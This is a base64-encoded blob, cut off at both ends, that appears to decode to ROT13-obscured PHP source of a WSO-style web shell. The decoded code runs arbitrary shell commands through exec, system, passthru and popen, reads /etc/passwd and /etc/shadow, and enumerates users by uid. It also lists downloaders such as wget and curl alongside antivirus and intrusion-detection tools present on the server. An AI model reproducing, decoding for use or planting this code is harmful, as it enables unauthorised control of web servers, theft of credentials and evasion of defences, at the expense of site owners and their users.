mNucHIgPSAkZ2JnbnlGY25wcj8kZ2JnbnlGY25wcjoxOwoJJGVyeXJuZnIgPSBAY3VjX2hhbnpyKCdlJyk7CgkkeHJlYXJ5ID0gQGN1Y19oYW56cignZicpOwoJdnMoIXNoYXBndmJhX3JrdmZnZignY2JmdmtfdHJncnR2cScpKSB7CgkJJGhmcmUgPSBAdHJnX3BoZWVyYWdfaGZyZSgpOwoJCSRodnEgPSBAdHJnemxodnEoKTsKCQkkdHZxID0gQHRyZ3psdHZxKCk7CgkJJHRlYmhjID0gIj8iOwoJfSByeWZyIHsKCQkkaHZxID0gQGNiZnZrX3RyZ2NqaHZxKGNiZnZrX3RyZ3JodnEoKSk7CgkJJHR2cSA9IEBjYmZ2a190cmd0ZXR2cShjYmZ2a190cmdydHZxKCkpOwoJCSRoZnJlID0gJGh2cVsnYW56ciddOwoJCSRodnEgPSAkaHZxWydodnEnXTsKCQkkdGViaGMgPSAkdHZxWydhbnpyJ107CgkJJHR2cSA9ICR0dnFbJ3R2cSddOwoJfQoKCSRwanFfeXZheGYgPSAnJzsKCSRjbmd1ID0gcmtjeWJxcigiLyIsICRUWUJPTllGWydwanEnXSk7CgkkYT1wYmhhZygkY25ndSk7CglzYmUoJHY9MDsgJHY8JGEtMTsgJHYrKykgewoJCSRwanFfeXZheGYgLj0gIjxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZlpuYVwiLFwiIjsKCQlzYmUoJHc9MDsgJHc8PSR2OyAkdysrKQoJCQkkcGpxX3l2YXhmIC49ICRjbmd1WyR3XS4nLyc7CgkJJHBqcV95dmF4ZiAuPSAiXCIpJz4iLiRjbmd1WyR2XS4iLzwvbj4iOwoJfQoKCSRwdW5lZnJnZiA9IG5lZW5sKCdIR1MtOCcsICdKdmFxYmpmLTEyNTEnLCAnWEJWOC1FJywgJ1hCVjgtSCcsICdwYzg2NicpOwoJJGJjZ19wdW5lZnJnZiA9ICcnOwoJc2Jlcm5wdSgkcHVuZWZyZ2YgbmYgJHZncnopCgkJJGJjZ19wdW5lZnJnZiAuPSAnPGJjZ3ZiYSBpbnlocj0iJy4kdmdyei4nIiAnLigkX0NCRkdbJ3B1bmVmcmcnXT09JHZncno/J2ZyeXJwZ3JxJzonJykuJz4nLiR2Z3J6Lic8L2JjZ3ZiYT4nOwoKCSR6ID0gbmVlbmwoJ0ZycC4gVmFzYic9PidGcnBWYXNiJywnU3Z5cmYnPT4nU3Z5cmZabmEnLCAnUGJhZmJ5cic9PidQYmFmYnlyJywnRmR5Jz0+J0ZkeScsICdIQ3FuZ3IvSEN0ZW5xcicgPT4gJ0hDUW5ncicsICdDdWMnPT4nQ3VjJywgJ0ZnZXZhdCBnYmJ5Zic9PidGZ2V2YXRHYmJ5ZicsJ09laGdyc2JlcHInPT4nT2VoZ3JzYmVwcicsJ0FyZ2piZXgnPT4nQXJnamJleCcpOwoJdnMoIXJ6Y2dsKCRUWUJPTllGWyduaGd1X2NuZmYnXSkpCgkJJHpbJ1lidGJoZyddID0gJ1lidGJoZyc7CgkkelsnRnJ5cyBlcnpiaXInXSA9ICdGcnlzRXJ6YmlyJzsKCSR6cmFoID0gJyc7CglzYmVybnB1KCR6IG5mICR4ID0+ICRpKXsKCQl2cygkeCA9PSAnSENxbmdyL0hDdGVucXInKXsKCQkJJHpyYWggLj0gJzxndSBqdnFndT0iJy4odmFnKSgxMDAvcGJoYWcoJHopKS4nJSI+WyA8biB1ZXJzPSIjIiBiYXB5dnB4PSJ0KFwnJy4kaS4nXCcsYWh5eSxcJ1wnLFwnXCcsXCdcJykiPjxzYmFnIHBieWJlPSIjMjVzczAwIj4nLiR4Lic8L3NiYWc+PC9uPiBdPC9ndT4nOwoJCX1yeWZyewoJCQkkenJhaCAuPSAnPGd1IGp2cWd1PSInLih2YWcpKDEwMC9wYmhhZygkeikpLiclIj5bIDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCcnLiRpLidcJyxhaHl5LFwnXCcsXCdcJyxcJ1wnKSI+Jy4keC4nPC9uPiBdPC9ndT4nOwoJCX0KCX0KCSRxZXZpcmYgPSAiIjsKCXZzKCRUWUJPTllGWydiZiddID09ICdqdmEnKSB7CgkJc2Jlcm5wdShlbmF0cigncCcsJ20nKSBuZiAkcWV2aXIpCgkJdnModmZfcXZlKCRxZXZpci4nOlxcJykpCgkJCSRxZXZpcmYgLj0gJzxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZlpuYVwnLFwnJy4kcWV2aXIuJzovXCcpIj5bICcuJHFldmlyLicgXTwvbj4gJzsKCX0KCXJwdWIgJzxnbm95ciBweW5mZj12YXNiIHByeXljbnFxdmF0PTMgcHJ5eWZjbnB2YXQ9MCBqdnFndT0xMDAlPjxnZT48Z3EganZxZ3U9MT48ZmNuYT5IYW56cjo8b2U+SGZyZTo8b2U+Q3VjOjxvZT5VcXE6PG9lPlBqcTonIC4gKCRUWUJPTllGWydiZiddID09ICdqdmEnPyc8b2U+UWV2aXJmOic6JycpIC4gJzwvZmNuYT48L2dxPicKICAgICAgIC4gJzxncT48YWJvZT4nIC4gZmhvZmdlKEBjdWNfaGFuenIoKSwgMCwgMTIwKSAuICc8L2Fib2U+PG9lPicgLiAkaHZxIC4gJyAoICcgLiAkaGZyZSAuICcgKSA8ZmNuYT5UZWJoYzo8L2ZjbmE+ICcgLiAkdHZxIC4gJyAoICcgLiAkdGViaGMgLiAnICk8b2U+JyAuIEBjdWNpcmVmdmJhKCkgLiAnIDxmY25hPkZuc3IgemJxcjo8L2ZjbmE+ICcgLiAoJFRZQk9OWUZbJ2Zuc3JfemJxciddPyc8c2JhZyBwYnliZT1lcnE+QkE8L3NiYWc+JzonPHNiYWcgcGJ5YmU9dGVycmE+PG8+QlNTPC9vPjwvc2JhZz4nKQogICAgICAgLiAnIDxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnQ3VjXCcsYWh5eSxcJ1wnLFwndmFzYlwnKSI+WyBjdWN2YXNiIF08L24+IDxmY25hPlFuZ3JndnpyOjwvZmNuYT4gJyAuIHFuZ3IoJ0wtei1xIFU6djpmJykgLiAnPG9lPicgLiBqZmJJdnJqRnZtcigkZ2JnbnlGY25wcikgLiAnIDxmY25hPlNlcnI6PC9mY25hPiAnIC4gamZiSXZyakZ2bXIoJHNlcnJGY25wcikgLiAnICgnLiAodmFnKSAoJHNlcnJGY25wci8kZ2JnbnlGY25wcioxMDApIC4gJyUpPG9lPicgLiAkcGpxX3l2YXhmIC4gJyAnLiBqZmJDcmV6ZlBieWJlKCRUWUJPTllGWydwanEnXSkgLiAnIDxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnU3Z5cmZabmFcJyxcJycgLiAkVFlCT05ZRlsndWJ6cl9wanEnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgdWJ6ciBdPC9uPjxvZT4nIC4gJHFldmlyZiAuICc8L2dxPicKICAgICAgIC4gJzxncSBqdnFndT0xIG55dnRhPWV2dHVnPjxhYm9lPjxmcnlycGcgYmFwdW5hdHI9InQoYWh5eSxhaHl5LGFoeXksYWh5eSxhaHl5LGd1dmYuaW55aHIpIj48YmNndGViaGMgeW5vcnk9IkNudHIgcHVuZWZyZyI+JyAuICRiY2dfcHVuZWZyZ2YgLiAnPC9iY2d0ZWJoYz48L2ZyeXJwZz48b2U+PGZjbmE+RnJlaXJlIFZDOjwvZmNuYT48b2U+JyAuIEAkX0ZSRUlSRVsiRlJFSVJFX05RUUUiXSAuICc8b2U+PGZjbmE+UHl2cmFnIFZDOjwvZmNuYT48b2U+JyAuICRfRlJFSVJFWydFUlpCR1JfTlFRRSddIC4gJzwvYWJvZT48L2dxPjwvZ2U+PC9nbm95cj4nCiAgICAgICAuICc8Z25veXIgZmdseXI9Im9iZXFyZS1nYmM6MmNrIGZieXZxICMzMzM7IiBwcnl5Y25xcXZhdD0zIHByeXlmY25wdmF0PTAganZxZ3U9MTAwJT48Z2U+JyAuICR6cmFoIC4gJzwvZ2U+PC9nbm95cj48cXZpIGZnbHlyPSJ6bmV0dmE6NSI+JzsKfQoKc2hhcGd2YmEgamZiU2JiZ3JlKCkgewoJJHZmX2pldmdub3lyID0gdmZfamV2Z25veXIoJFRZQk9OWUZbJ3BqcSddKT8iIDxzYmFnIHBieWJlPSd0ZXJyYSc+KEpldmdybm95cik8L3NiYWc+IjoiIDxzYmFnIHBieWJlPWVycT4oQWJnIGpldmdub3lyKTwvc2JhZz4iOwogICAgcnB1YiAiCjwvcXZpPgo8Z25veXIgcHluZmY9dmFzYiB2cT1nYmJ5ZkdveSBwcnl5Y25xcXZhdD0zIHByeXlmY25wdmF0PTAganZxZ3U9MTAwJSAgZmdseXI9J29iZXFyZS1nYmM6MmNrIGZieXZxICMzMzM7b2JlcXJlLW9iZ2diejoyY2sgZmJ5dnEgIzMzMzsnPgoJPGdlPgoJCTxncT48c2JleiBiYWZob3p2Zz0ndChhaHl5LGd1dmYucC5pbnlocixcIlwiKTtlcmdoZWEgc255ZnI7Jz48ZmNuYT5QdW5hdHIgcXZlOjwvZmNuYT48b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1ncmtnIGFuenI9cCBpbnlocj0nIiAuIHVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKSAuIic+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PjwvZ3E+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZHYmJ5ZicsYWh5eSxndXZmLnMuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5Fcm5xIHN2eXI6PC9mY25hPjxvZT48dmFjaGcgcHluZmY9J2diYnlmVmFjJyBnbGNyPWdya2cgYW56cj1zPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPjwvc2Jlej48L2dxPgoJPC9nZT48Z2U+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZabmEnLGFoeXksJ3p4cXZlJyxndXZmLnEuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5abnhyIHF2ZTo8L2ZjbmE+JHZmX2pldmdub3lyPG9lPjx2YWNoZyBweW5mZj0nZ2JieWZWYWMnIGdsY3I9Z3JrZyBhbnpyPXE+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PjwvZ3E+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnU3Z5cmZHYmJ5ZicsYWh5eSxndXZmLnMuaW55aHIsJ3p4c3Z5cicpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5abnhyIHN2eXI6PC9mY25hPiR2Zl9qZXZnbm95cjxvZT48dmFjaGcgcHluZmY9J2diYnlmVmFjJyBnbGNyPWdya2cgYW56cj1zPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPjwvc2Jlej48L2dxPgoJPC9nZT48Z2U+CgkJPGdxPjxzYmV6IGJhZmhvenZnPVwidCgnUGJhZmJ5cicsYWh5eSxndXZmLnAuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj48ZmNuYT5Sa3JwaGdyOjwvZmNuYT48b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1ncmtnIGFuenI9cCBpbnlocj0nJz48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Jz4+Jz48L3NiZXo+PC9ncT4KCQk8Z3E+PHNiZXogenJndWJxPSdjYmZnJyBSQVBHTENSPSd6aHlndmNuZWcvc2Jlei1xbmduJz4KCQk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uIGlueWhyPSdTdnlyZlpOYSc+CgkJPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9cCBpbnlocj0nIiAuICRUWUJPTllGWydwanEnXSAuIic+CgkJPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzEgaW55aHI9J2hjeWJucVN2eXInPgoJCTx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIgLiAodmZmcmcoJF9DQkZHWydwdW5lZnJnJ10pPyRfQ0JGR1sncHVuZWZyZyddOicnKSAuICInPgoJCTxmY25hPkhjeWJucSBzdnlyOjwvZmNuYT4kdmZfamV2Z25veXI8b2U+PHZhY2hnIHB5bmZmPSdnYmJ5ZlZhYycgZ2xjcj1zdnlyIGFuenI9cz48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Jz4+Jz48L3NiZXo+PG9lICA+PC9ncT4KCTwvZ2U+PC9nbm95cj48L3F2aT48L29icWw+PC91Z3p5PiI7Cn0KCnZzICghc2hhcGd2YmFfcmt2ZmdmKCJjYmZ2a190cmdjamh2cSIpICYmIChmZ2VjYmYoJFRZQk9OWUZbJ3F2Zm5veXJfc2hhcGd2YmFmJ10sICdjYmZ2a190cmdjamh2cScpPT09c255ZnIpKSB7CiAgICBzaGFwZ3ZiYSBjYmZ2a190cmdjamh2cSgkYykge2VyZ2hlYSBzbnlmcjt9IH0KdnMgKCFzaGFwZ3ZiYV9ya3ZmZ2YoImNiZnZrX3RyZ3RldHZxIikgJiYgKGZnZWNiZigkVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXSwgJ2NiZnZrX3RyZ3RldHZxJyk9PT1zbnlmcikpIHsKICAgIHNoYXBndmJhIGNiZnZrX3RyZ3RldHZxKCRjKSB7ZXJnaGVhIHNueWZyO30gfQoKc2hhcGd2YmEgamZiUmsoJHZhKSB7CgkkYmhnID0gJyc7Cgl2cyAoc2hhcGd2YmFfcmt2ZmdmKCdya3JwJykpIHsKCQlAcmtycCgkdmEsJGJoZyk7CgkJJGJoZyA9IEB3YnZhKCJcYSIsJGJoZyk7Cgl9IHJ5ZnJ2cyAoc2hhcGd2YmFfcmt2ZmdmKCdjbmZmZ3VlaCcpKSB7CgkJYm9fZmduZWcoKTsKCQlAY25mZmd1ZWgoJHZhKTsKCQkkYmhnID0gYm9fdHJnX3B5cm5hKCk7Cgl9IHJ5ZnJ2cyAoc2hhcGd2YmFfcmt2ZmdmKCdmbGZncnonKSkgewoJCWJvX2ZnbmVnKCk7CgkJQGZsZmdyeigkdmEpOwoJCSRiaGcgPSBib190cmdfcHlybmEoKTsKCX0gcnlmcnZzIChzaGFwZ3ZiYV9ya3ZmZ2YoJ2Z1cnl5X3JrcnAnKSkgewoJCSRiaGcgPSBmdXJ5eV9ya3JwKCR2YSk7Cgl9IHJ5ZnJ2cyAodmZfZXJmYmhlcHIoJHMgPSBAY2JjcmEoJHZhLCJlIikpKSB7CgkJJGJoZyA9ICIiOwoJCWp1dnlyKCFAc3JicygkcykpCgkJCSRiaGcgLj0gc2VybnEoJHMsMTAyNCk7CgkJY3B5YmZyKCRzKTsKCX0KCWVyZ2hlYSAkYmhnOwp9CgpzaGFwZ3ZiYSBqZmJJdnJqRnZtcigkZikgewogICAgdnMgKHZmX3ZhZygkZikpCiAgICAgICAgJGYgPSBmY2V2YWdzKCIlaCIsICRmKTsKICAgIAoJdnMoJGYgPj0gMTA3Mzc0MTgyNCkKCQllcmdoZWEgZmNldmFncygnJTEuMnMnLCAkZiAvIDEwNzM3NDE4MjQgKS4gJyBUTyc7CglyeWZydnMoJGYgPj0gMTA0ODU3NikKCQllcmdoZWEgZmNldmFncygnJTEuMnMnLCAkZiAvIDEwNDg1NzYgKSAuICcgWk8nOwoJcnlmcnZzKCRmID49IDEwMjQpCgkJZXJnaGVhIGZjZXZhZ3MoJyUxLjJzJywgJGYgLyAxMDI0ICkgLiAnIFhPJzsKCXJ5ZnIKCQllcmdoZWEgJGYgLiAnIE8nOwp9CgpzaGFwZ3ZiYSBqZmJDcmV6ZigkYykgewoJdnMgKCgkYyAmIDBrUDAwMCkgPT0gMGtQMDAwKSR2ID0gJ2YnOwoJcnlmcnZzICgoJGMgJiAwa04wMDApID09IDBrTjAwMCkkdiA9ICd5JzsKCXJ5ZnJ2cyAoKCRjICYgMGs4MDAwKSA9PSAwazgwMDApJHYgPSAnLSc7CglyeWZydnMgKCgkYyAmIDBrNjAwMCkgPT0gMGs2MDAwKSR2ID0gJ28nOwoJcnlmcnZzICgoJGMgJiAwazQwMDApID09IDBrNDAwMCkkdiA9ICdxJzsKCXJ5ZnJ2cyAoKCRjICYgMGsyMDAwKSA9PSAwazIwMDApJHYgPSAncCc7CglyeWZydnMgKCgkYyAmIDBrMTAwMCkgPT0gMGsxMDAwKSR2ID0gJ2MnOwoJcnlmciAkdiA9ICdoJzsKCSR2IC49ICgoJGMgJiAwazAxMDApID8gJ2UnIDogJy0nKTsKCSR2IC49ICgoJGMgJiAwazAwODApID8gJ2onIDogJy0nKTsKCSR2IC49ICgoJGMgJiAwazAwNDApID8gKCgkYyAmIDBrMDgwMCkgPyAnZicgOiAnaycgKSA6ICgoJGMgJiAwazA4MDApID8gJ0YnIDogJy0nKSk7CgkkdiAuPSAoKCRjICYgMGswMDIwKSA/ICdlJyA6ICctJyk7CgkkdiAuPSAoKCRjICYgMGswMDEwKSA/ICdqJyA6ICctJyk7CgkkdiAuPSAoKCRjICYgMGswMDA4KSA/ICgoJGMgJiAwazA0MDApID8gJ2YnIDogJ2snICkgOiAoKCRjICYgMGswNDAwKSA/ICdGJyA6ICctJykpOwoJJHYgLj0gKCgkYyAmIDBrMDAwNCkgPyAnZScgOiAnLScpOwoJJHYgLj0gKCgkYyAmIDBrMDAwMikgPyAnaicgOiAnLScpOwoJJHYgLj0gKCgkYyAmIDBrMDAwMSkgPyAoKCRjICYgMGswMjAwKSA/ICdnJyA6ICdrJyApIDogKCgkYyAmIDBrMDIwMCkgPyAnRycgOiAnLScpKTsKCWVyZ2hlYSAkdjsKfQoKc2hhcGd2YmEgamZiQ3JlemZQYnliZSgkcykgewoJdnMgKCFAdmZfZXJucW5veXIoJHMpKQoJCWVyZ2hlYSAnPHNiYWcgcGJ5YmU9I1NTMDAwMD4nIC4gamZiQ3JlemYoQHN2eXJjcmV6ZigkcykpIC4gJzwvc2JhZz4nOwoJcnlmcnZzICghQHZmX2pldmdub3lyKCRzKSkKCQllcmdoZWEgJzxzYmFnIHBieWJlPWp1dmdyPicgLiBqZmJDcmV6ZihAc3Z5cmNyZXpmKCRzKSkgLiAnPC9zYmFnPic7CglyeWZyCgkJZXJnaGVhICc8c2JhZyBwYnliZT0jMjVzczAwPicgLiBqZmJDcmV6ZihAc3Z5cmNyZXpmKCRzKSkgLiAnPC9zYmFnPic7Cn0KCnNoYXBndmJhIGpmYkZwbmFxdmUoJHF2ZSkgewogICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCJmcG5hcXZlIikpIHsKICAgICAgICBlcmdoZWEgZnBuYXF2ZSgkcXZlKTsKICAgIH0gcnlmciB7CiAgICAgICAgJHF1ICA9IGJjcmFxdmUoJHF2ZSk7CiAgICAgICAganV2eXIgKHNueWZyICE9PSAoJHN2eXJhbnpyID0gZXJucXF2ZSgkcXUpKSkKICAgICAgICAgICAgJHN2eXJmW10gPSAkc3Z5cmFuenI7CiAgICAgICAgZXJnaGVhICRzdnlyZjsKICAgIH0KfQoKc2hhcGd2YmEgamZiSnV2cHUoJGMpIHsKCSRjbmd1ID0gamZiUmsoJ2p1dnB1ICcgLiAkYyk7Cgl2cyghcnpjZ2woJGNuZ3UpKQoJCWVyZ2hlYSAkY25ndTsKCWVyZ2hlYSBzbnlmcjsKfQoKc2hhcGd2YmEgbnBndmJhRnJwVmFzYigpIHsKCWpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPkZyZWlyZSBmcnBoZXZnbCB2YXNiZXpuZ3ZiYTwvdTE+PHF2aSBweW5mZj1wYmFncmFnPic7CglzaGFwZ3ZiYSBqZmJGcnBDbmVueigkYSwgJGkpIHsKCQkkaSA9IGdldnooJGkpOwoJCXZzKCRpKSB7CgkJCXJwdWIgJzxmY25hPicgLiAkYSAuICc6IDwvZmNuYT4nOwoJCQl2cyhmZ2VjYmYoJGksICJcYSIpID09PSBzbnlmcikKCQkJCXJwdWIgJGkgLiAnPG9lPic7CgkJCXJ5ZnIKCQkJCXJwdWIgJzxjZXIgcHluZmY9enkxPicgLiAkaSAuICc8L2Nlcj4nOwoJCX0KCX0KCglqZmJGcnBDbmVueignRnJlaXJlIGZic2dqbmVyJywgQHRyZ3JhaSgnRlJFSVJFX0ZCU0dKTkVSJykpOwogICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCduY25wdXJfdHJnX3picWh5cmYnKSkKICAgICAgICBqZmJGcnBDbmVueignWWJucXJxIE5jbnB1ciB6YnFoeXJmJywgdnpjeWJxcignLCAnLCBuY25wdXJfdHJnX3picWh5cmYoKSkpOwoJamZiRnJwQ25lbnooJ1F2Zm5veXJxIENVQyBTaGFwZ3ZiYWYnLCAkVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXT8kVFlCT05ZRlsncXZmbm95cl9zaGFwZ3ZiYWYnXTonYWJhcicpOwoJamZiRnJwQ25lbnooJ0JjcmEgb25mciBxdmUnLCBAdmF2X3RyZygnYmNyYV9vbmZycXZlJykpOwoJamZiRnJwQ25lbnooJ0Zuc3IgemJxciBya3JwIHF2ZScsIEB2YXZfdHJnKCdmbnNyX3picXJfcmtycF9xdmUnKSk7CglqZmJGcnBDbmVueignRm5zciB6YnFyIHZhcHlocXIgcXZlJywgQHZhdl90cmcoJ2Zuc3JfemJxcl92YXB5aHFyX3F2ZScpKTsKCWpmYkZycENuZW56KCdwSEVZIGZoY2NiZWcnLCBzaGFwZ3ZiYV9ya3ZmZ2YoJ3BoZXlfaXJlZnZiYScpPydyYW5veXJxJzonYWInKTsKCSRncnpjPW5lZW5sKCk7Cgl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ3psZmR5X3RyZ19weXZyYWdfdmFzYicpKQoJCSRncnpjW10gPSAiWmxGZHkgKCIuemxmZHlfdHJnX3B5dnJhZ192YXNiKCkuIikiOwoJdnMoc2hhcGd2YmFfcmt2ZmdmKCd6ZmZkeV9wYmFhcnBnJykpCgkJJGdyemNbXSA9ICJaRkZEWSI7Cgl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2N0X3BiYWFycGcnKSkKCQkkZ3J6Y1tdID0gIkNiZmd0ZXJGRFkiOwoJdnMoc2hhcGd2YmFfcmt2ZmdmKCdicHZfcGJhYXJwZycpKQoJCSRncnpjW10gPSAiQmVucHlyIjsKCWpmYkZycENuZW56KCdGaGNjYmVncnEgcW5nbm9uZnJmJywgdnpjeWJxcignLCAnLCAkZ3J6YykpOwoJcnB1YiAnPG9lPic7CgoJdnMoJFRZQk9OWUZbJ2JmJ10gPT0gJ2F2aycpIHsKICAgICAgICAgICAgamZiRnJwQ25lbnooJ0VybnFub3lyIC9yZ3AvY25mZmpxJywgQHZmX2VybnFub3lyKCcvcmdwL2NuZmZqcScpPyJscmYgPG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmR2JieWZcIiwgXCIvcmdwL1wiLCBcImNuZmZqcVwiKSc+W2l2cmpdPC9uPiI6J2FiJyk7CiAgICAgICAgICAgIGpmYkZycENuZW56KCdFcm5xbm95ciAvcmdwL2Z1bnFiaicsIEB2Zl9lcm5xbm95cignL3JncC9mdW5xYmonKT8ibHJmIDxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZkdiYnlmXCIsIFwiL3JncC9cIiwgXCJmdW5xYmpcIiknPltpdnJqXTwvbj4iOidhYicpOwogICAgICAgICAgICBqZmJGcnBDbmVueignQkYgaXJlZnZiYScsIEBzdnlyX3RyZ19wYmFncmFnZignL2NlYnAvaXJlZnZiYScpKTsKICAgICAgICAgICAgamZiRnJwQ25lbnooJ1F2ZmdlIGFuenInLCBAc3Z5cl90cmdfcGJhZ3JhZ2YoJy9yZ3AvdmZmaHIuYXJnJykpOwogICAgICAgICAgICB2cyghJFRZQk9OWUZbJ2Zuc3JfemJxciddKSB7CiAgICAgICAgICAgICAgICAkaGZyZXNoeSA9IG5lZW5sKCd0cHAnLCd5cHAnLCdwcCcsJ3lxJywnem54cicsJ2N1YycsJ2NyZXknLCdjbGd1YmEnLCdlaG9sJywnZ25lJywndG12YycsJ29tdmMnLCdvbXZjMicsJ2FwJywneWJwbmdyJywnZmh2cWNyZXknKTsKICAgICAgICAgICAgICAgICRxbmF0cmUgPSBuZWVubCgneG5pJywnYWJxMzInLCdvcXBiZXJxJywnaGlmcG5hJywnZm5pJywncWVqcm9xJywncHluenEnLCdleHVoYWdyZScsJ3B1eGViYmd4dmcnLCd2Y2dub3lyZicsJ3Zjc2onLCdnZXZjanZlcicsJ2Z1dnJ5cXBwJywnY2JlZ2ZyYWdlbCcsJ2ZhYmVnJywnYmZmcnAnLCd5dnFmbnF6JywnZ3BjeWJxdCcsJ2ZrdnEnLCd5YnRwdXJweCcsJ3lidGpuZ3B1JywnZmxmem5meCcsJ216b2ZwbmMnLCdmbmp6dnl5JywnamJlemZwbmEnLCdhdmF3bicpOwogICAgICAgICAgICAgICAgJHFiamF5Ym5xcmVmID0gbmVlbmwoJ2p0cmcnLCdzcmdwdScsJ3lsYWsnLCd5dmF4ZicsJ3BoZXknLCd0cmcnLCd5amMtenZlZWJlJyk7CiAgICAgICAgICAgICAgICBycHViICc8b2U+JzsKICAgICAgICAgICAgICAgICRncnpjPW5lZW5sKCk7CiAgICAgICAgICAgICAgICBzYmVybnB1ICgkaGZyZXNoeSBuZiAkdmdyeikKICAgICAgICAgICAgICAgICAgICB2cyhqZmJKdXZwdSgkdmdyeikpCiAgICAgICAgICAgICAgICAgICAgICAgICRncnpjW10gPSAkdmdyejsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdIZnJlc2h5JywgdnpjeWJxcignLCAnLCRncnpjKSk7CiAgICAgICAgICAgICAgICAkZ3J6Yz1uZWVubCgpOwogICAgICAgICAgICAgICAgc2Jlcm5wdSAoJHFuYXRyZSBuZiAkdmdyeikKICAgICAgICAgICAgICAgICAgICB2cyhqZmJKdXZwdSgkdmdyeikpCiAgICAgICAgICAgICAgICAgICAgICAgICRncnpjW10gPSAkdmdyejsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdRbmF0cmUnLCB2emN5YnFyKCcsICcsJGdyemMpKTsKICAgICAgICAgICAgICAgICRncnpjPW5lZW5sKCk7CiAgICAgICAgICAgICAgICBzYmVybnB1ICgkcWJqYXlibnFyZWYgbmYgJHZncnopCiAgICAgICAgICAgICAgICAgICAgdnMoamZiSnV2cHUoJHZncnopKQogICAgICAgICAgICAgICAgICAgICAgICAkZ3J6Y1tdID0gJHZncno7CiAgICAgICAgICAgICAgICBqZmJGcnBDbmVueignUWJqYXlibnFyZWYnLCB2emN5YnFyKCcsICcsJGdyemMpKTsKICAgICAgICAgICAgICAgIHJwdWIgJzxvZS8+JzsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdVUVEgZmNucHInLCBqZmJSaygncXMgLXUnKSk7CiAgICAgICAgICAgICAgICBqZmJGcnBDbmVueignVWJmZ2YnLCBAc3Z5cl90cmdfcGJhZ3JhZ2YoJy9yZ3AvdWJmZ2YnKSk7CiAgICAgICAgICAgICAgICBycHViICc8b2UvPjxmY25hPmNiZnZrX3RyZ2NqaHZxICgiRXJucSIgL3JncC9jbmZmanEpPC9mY25hPjxnbm95cj48c2JleiBiYWZob3p2Zz1cJ3QoYWh5eSxhaHl5LCI1IixndXZmLmNuZW56MS5pbnlocixndXZmLmNuZW56Mi5pbnlocik7ZXJnaGVhIHNueWZyO1wnPjxnZT48Z3E+U2ViejwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1jbmVuejEgaW55aHI9MD48L2dxPjwvZ2U+PGdlPjxncT5HYjwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1jbmVuejIgaW55aHI9MTAwMD48L2dxPjwvZ2U+PC9nbm95cj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKICAgICAgICAgICAgICAgIHZzICh2ZmZyZyAoJF9DQkZHWydjMiddLCAkX0NCRkdbJ2MzJ10pICYmIHZmX2FoenJldnAoJF9DQkZHWydjMiddKSAmJiB2Zl9haHpyZXZwKCRfQ0JGR1snYzMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZ3J6YyA9ICIiOwogICAgICAgICAgICAgICAgICAgIHNiZSg7JF9DQkZHWydjMiddIDw9ICRfQ0JGR1snYzMnXTskX0NCRkdbJ2MyJ10rKykgewogICAgICAgICAgICAgICAgICAgICAgICAkaHZxID0gQGNiZnZrX3RyZ2NqaHZxKCRfQ0JGR1snYzInXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHZzICgkaHZxKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyemMgLj0gd2J2YSgnOicsJGh2cSkuIlxhIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcnB1YiAnPG9lLz4nOwogICAgICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdIZnJlZicsICRncnpjKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJfSByeWZyIHsKCQlqZmJGcnBDbmVueignQkYgSXJlZnZiYScsamZiUmsoJ2lyZScpKTsKCQlqZmJGcnBDbmVueignTnBwYmhhZyBGcmdndmF0ZicsamZiUmsoJ2FyZyBucHBiaGFnZicpKTsKCQlqZmJGcnBDbmVueignSGZyZSBOcHBiaGFnZicsamZiUmsoJ2FyZyBoZnJlJykpOwoJfQoJcnB1YiAnPC9xdmk+JzsKCWpmYlNiYmd